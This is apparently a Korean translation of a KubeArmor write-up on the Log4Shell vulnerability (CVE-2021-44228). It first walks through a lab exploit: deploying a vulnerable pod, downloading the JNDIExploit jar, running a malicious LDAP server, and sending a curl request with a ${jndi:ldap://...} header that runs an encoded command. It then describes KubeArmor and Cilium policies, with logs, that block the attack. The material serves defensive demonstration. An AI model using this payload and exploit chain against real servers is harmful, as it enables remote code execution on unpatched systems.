kubearmor/log4j-cve-2021-44228Apache Log4j 제로데이 취약점, 일명 Log4Shell (CVE-2021-44228)
2021년 12월 9일, Apache Java 로깅 패키지 log4j에 영향을 미치는 CVE-2021-44228로 식별된 새로운 취약점이 세상에 알려졌습니다. 이 취약점은 심각도 점수 10.0 (가장 심각한 등급)을 받았으며, 이 log4j 버전을 사용하는 소프트웨어와 상호작용하는 호스트에서 간단한 원격 코드 실행을 허용합니다. "Log4Shell"이 이 공격에 붙여진 이름입니다.
현재 log4j 2.15.0rc2 버전이 출시되어 이 취약점을 패치했습니다. 그러나 이 취약점의 엄청난 위험성은 로깅 패키지가 얼마나 보편적으로 사용되는지에 기인합니다. 수백만 개의 애플리케이션과 소프트웨어 공급업체가 자체 코드에서 이 패키지를 종속성으로 사용합니다.
가장 이른 탐지: 2021-12-01 04:36:50 UTC
영향을 받는 버전:
영향을 받는 대상은?
영향: 부모 프로세스를 실행하는 사용자로서 임의 코드 실행 (공개 인터넷에서 코드를 가져오거나, 시스템에 이미 존재하는 lolbin을 사용하거나, 공유 비밀 또는 환경 변수를 가져와 공격자에게 반환)
대상: Java를 실행하고 log4j 프레임워크를 사용하여 로깅하는 서버 및 클라이언트 - 주로 서버 측 우려 사항이지만, 취약한 모든 엔드포인트가 대상 또는 피벗 지점이 될 수 있습니다.
하위 프로젝트: 반증이 없는 한 log4j를 포함하는 모든 것(Elasticsearch, Apache Struts / Solr / Druid / Flink 등 포함)이 완화가 필요한 방식으로 영향을 받는다고 가정합니다.
영향을 받는 버전: log4j 2.x 확인됨 - log4j 1.x는 간접적으로만 영향 (이전 정보 공개 취약점) (일부 구성에서)
어플라이언스: Java 서버 구성 요소를 사용할 수 있지만 인증되지 않은 취약점 스캐닝으로 탐지되지 않는 어플라이언스를 잊지 마십시오.
로그 전달: 로깅 인프라는 종종 "북바운드"(내 로그를 누군가에게 보냄) 및 "사우스바운드"(누군가로부터 로그를 수신) 전달/릴레이 토폴로지를 많이 갖습니다. 공격을 위해 이들을 함께 연결하는 것도 고려해야 합니다.
클라우드: 여러 대규모 제공업체도 영향을 받음 (CVE-2021-44228에 취약한 소프트웨어 및 서비스의 커뮤니티 큐레이션 목록은 이 GitHub 저장소에서 확인 가능).
1단계: Kubernetes에서 Log4j에 취약한 관련 서비스가 포함된 Pod 배포
git clone https://github.com/kubearmor/log4j-cve && cd log4j-cve
kubectl apply -f deploy-log4j-k8s.yaml
kubectl get po,svc
NAME READY STATUS RESTARTS AGE
pod/log4j-demo-5d7c84d8b9-vs8ck 1/1 Running 0 1h30m
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
service/kubernetes ClusterIP 10.112.0.1 <none> 443/TCP 4h44m
service/log4j-svc LoadBalancer 10.112.8.158 35.241.165.36 80:30202/TCP 1h30m
저희는
default네임스페이스에 취약한 Log4Shell 샘플 애플리케이션을 배포했습니다.
2단계: 악성 LDAP 서버 다운로드
wget https://log4j-knox.s3.amazonaws.com/JNDIExploit-1.2-SNAPSHOT.jar
3단계: PC 또는 Cloud VM에서 수신 트래픽을 위한 LDAP 서버 시작
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i [<your-private-ip>] -p 8888
개인 IP는
hostname -I로 조회할 수 있습니다.
방화벽이 포트1389및8888에 대해 트래픽을 허용하는지 확인하십시오.
4단계: cURL 명령을 사용한 익스플로잇
# curl <protocol://victim-ip:port> -H 'X-Api-Version: ${jndi:ldap://<malicious-server-ip>:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
curl http://35.241.165.36 -H 'X-Api-Version: ${jndi:ldap://34.135.86.213:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
여기서 첫 번째 IP는 취약한 샘플 앱이 실행 중인 k8s 외부 IP(1단계)입니다.
두 번째 IP는 악성 LDAP 서버의 외부 IP(2단계)입니다.
5단계: /tmp/pwned 파일 생성 확인
kubectl exec -it --namespace default log4j-demo-5d7c84d8b9-vs8ck -- watch -n 2 ls /tmp
log4j-demo-5d7c84d8b9-vs8ck를 1단계 출력의 Pod 이름으로 바꾸십시오.
/tmp디렉토리 안에pwned라는 파일이 생성된 것을 확인할 수 있습니다.
KubeArmor는 보안/DevSecOps 팀이 애플리케이션/시스템 기반 제어(프로세스 생성 제한, 파일 시스템 접근 제한, Pod 기능 제한 등)를 사용하여 워크로드를 보호할 수 있도록 도와주는 런타임 보안 플랫폼입니다. KubeArmor는 가시성 모드를 제공하여 애플리케이션/보안 팀이 Pod 내부에서 무슨 일이 일어나는지(예: 어떤 프로세스가 생성되었는지, 어떤 파일 접근이 시도되었는지 등)를 파악할 수 있게 합니다. KubeArmor의 가장 큰 장점은 사용자가 이러한 시스템 작업을 방지/차단/거부하는 정책을 제출할 수 있다는 점입니다.
일반적으로 공격자는 내부 데이터를 유출하거나, 암호화폐 채굴을 하거나, 내부 앱을 사용 불가능하게 만들기 위해 침투합니다. 이러한 모든 경우에 공격자는 악의적인 의도를 실행할 수 있는 임의의 프로그램을 실행해야 합니다. Log4j 취약점은 공격자가 내부 네트워크 내에 바이너리를 배치할 수 있게 합니다. 그러나 JVM이 프로세스를 생성하지 못하도록 가드레일을 설치할 수 있습니다.
다음은 Java 애플리케이션의 하위 프로세스로서 Pod에서 프로세스가 포크되는 것을 거부/방지할 수 있는 KubeArmor 정책입니다.
apiVersion: security.kubearmor.com/v1
kind: KubeArmorPolicy
metadata:
name: do-not-allow-exec-from-java
spec:
severity: high
message: "disallow execing from java process"
selector:
matchLabels:
app: log4j2
process:
matchPaths:
- path: * #disaallow all paths from the java process
fromSource:
- path: /opt/openjdk-16/bin/java
action:
Block
여기서 액션은 Block입니다. 또한 fromSource 조건에 주목하십시오.
이는 주어진 프로세스로부터의 exec만 허용되지 않도록 지정합니다.
본질적으로 Java/JVM의 하위 프로세스만 exec가 거부됩니다.
다른 도구와 달리 KubeArmor는 런타임에 시스템 작업을 Block할 수 있습니다.
많은 경우 Java/JVM이 여전히 생성해야 하는 기존 프로세스가 있을 수 있습니다.
이러한 경우 해당 프로세스를 Allow하는 것이 가장 좋습니다.
이러한 프로세스를 허용함으로써 KubeArmor는 기본적으로 해당 부모 프로세스의
다른 모든 프로세스의 exec를 거부합니다:
apiVersion: security.kubearmor.com/v1
kind: KubeArmorPolicy
metadata:
name: do-not-allow-exec-from-java
spec:
severity: high
message: "disallow execing from java process"
selector:
matchLabels:
app: log4j2
process:
matchPaths:
- path: /usr/local/bin/myapp
fromSource:
- path: /opt/openjdk-16/bin/java
- path: /usr/local/bin/log4j
fromSource:
- path: /opt/openjdk-16/bin/java
action:
Allow
이 예제에서 Java 프로세스가 myapp 및 log4j 프로세스를 생성하는 것은
여전히 허용되지만, 다른 모든 프로세스는 거부됩니다.
위의 정책을 보면 자연스럽게 "허용/거부할 프로세스 사양을 어떻게 알 수 있을까?"라는 의문이 듭니다. 이것이 KubeArmor의 가시성 모드가 필요한 이유입니다:
== Log / 2021-12-12 19:48:37.737160 ==
Cluster Name: Default
Host Name: pandora
Namespace Name: default
Pod Name: log4j-kubearmor
Container ID: 7ccca0b0a09ba86c96d581f695a534d0ec1d7a844f30efc16e0e72568a84cc39
Container Name: log4j-kubearmor
Type: ContainerLog
Source: jspawnhelper
Operation: Process
Resource: /bin/touch /tmp/log4jServerp0wn3d
Data: syscall=SYS_EXECVE
Result: Passed
JVM/Java 프로세스에서 생성된 프로세스를 차단하면 execve가 거부될 때 다음과 같은 경고가 발생합니다 (KubeArmor는 적용 엔진입니다):
== Alert / 2021-12-12 19:57:07.871126 ==
Cluster Name: Default
Host Name: pandora
Namespace Name: default
Pod Name: log4j-kubearmor
Container ID: 7ccca0b0a09ba86c96d581f695a534d0ec1d7a844f30efc16e0e72568a84cc39
Container Name: log4j-kubearmor
Policy Name: do-not-allow-exec-from-java
Severity: 5
Message: disallowed execing from java process
Type: MatchedPolicy
Source: jspawnhelper
Operation: Process
Resource: /bin/touch /tmp/log4jServerp0wn3d
Data: syscall=SYS_EXECVE
Action: Block
Result: Passed
Cilium 팀은 이미 네트워크 정책을 사용하여 k8s 환경에서 log4j의 익스플로잇을 방지하기 위한 분석을 발표했습니다. 본질적으로 방지 정책은 DNS에 대해 최소 권한 정책을 적용하여 해당 영역 외부의 모든 것을 금지하는 것을 목표로 합니다.
이러한 맥락에서 보안 팀이 직면할 수 있는 한 가지 과제는 Pod가 연결하는 모든 가능한 FQDN을 파악하는 것입니다. Cilium은 풍부한 네트워크 가시성을 제공하므로 Pod가 액세스하는 FQDN의 전체 목록을 도출할 수 있습니다.
이러한 정책 외에도 취할 수 있는 몇 가지 다른 예방 정책이 있습니다.
RMI는 대부분의 조직에서 가장 적게 활용되는 기능입니다. log4j의 경우 RMI가 기본적으로 활성화되어 있으며, 많은 조직이 이를 완전히 비활성화해도 신경 쓰지 않을 수 있습니다. 따라서 조직이 이 기능을 적극적으로 사용하지 않는 경우, 완전히 비활성화하는 것이 가장 좋습니다. 다음 Cilium 정책을 사용할 수 있습니다:
apiVersion: "cilium.io/v2"
kind: CiliumNetworkPolicy
metadata:
name: "L4_rule_to_block_RMI_access"
spec:
endpointSelector:
matchLabels:
app: log4j2
ingress:
- fromEndpoints:
toPorts:
- ports:
- port: "1099"
protocol: TCP
여기서 1099는 기본 RMI 포트입니다.
위에 묘사된 종류의 규칙은 사후에 쉽게 생각해낼 수 있습니다.
당연한 다음 질문은 앞으로 이러한 취약점의 악용 가능성을 방지하는 방법입니다.
임의 코드 실행은 주요 공격 방식이며, "임의"를 구성하는 요소를 정의하는 데 초점을 맞춰야 합니다. 이 문맥에서 "임의"는 일반적인 실행 컨텍스트에 속하지 않는 모든 것으로 정의할 수 있습니다.
제로 트러스트(ZTNA) 아키텍처를 사용하려면 화이트리스트에 등록된 작업만 허용하고 다른 모든 것을 거부하는 최소 권한 정책 집합을 지정해야 합니다. 따라서 제로 트러스트 태세를 갖추는 것은 조직이 이러한 공격의 가능성으로부터 효과적으로 보호할 수 있습니다.
그러나 실제로 제로 트러스트를 달성하는 것은 훨씬 더 어렵습니다. 제로 트러스트는 조직이 적절한 자동화, 소프트웨어 배포 프로세스 및 적절한 도구를 갖추도록 요구합니다. 고려해야 할 몇 가지 사항은 다음과 같습니다:
네트워크 및 애플리케이션/시스템 전반의 제로 트러스트 태세는 다음과 같이 정의할 수 있습니다:
KubeArmor는 유연한 정책 적용 엔진과 적절한 정책 발견/권장 도구를 제공하여 조직이 위의 질문에 정확히 답할 수 있도록 돕습니다. Accuknox는 모든 정책 엔진이 관측 가능성, 감사(드라이런) 및 적용 옵션을 지원해야 한다는 기본 설계 원칙을 염두에 두고 정책 엔진을 구축했습니다.
관측 가능성과 정책 발견 엔진을 결합하면 조직에 필요한 최소 권한 정책 설정을 제공할 수 있습니다.
k8s 클러스터에서 워크로드와 함께 정책 발견 엔진을 사용해 보려면 여기에 있는 플레이북을 따르십시오.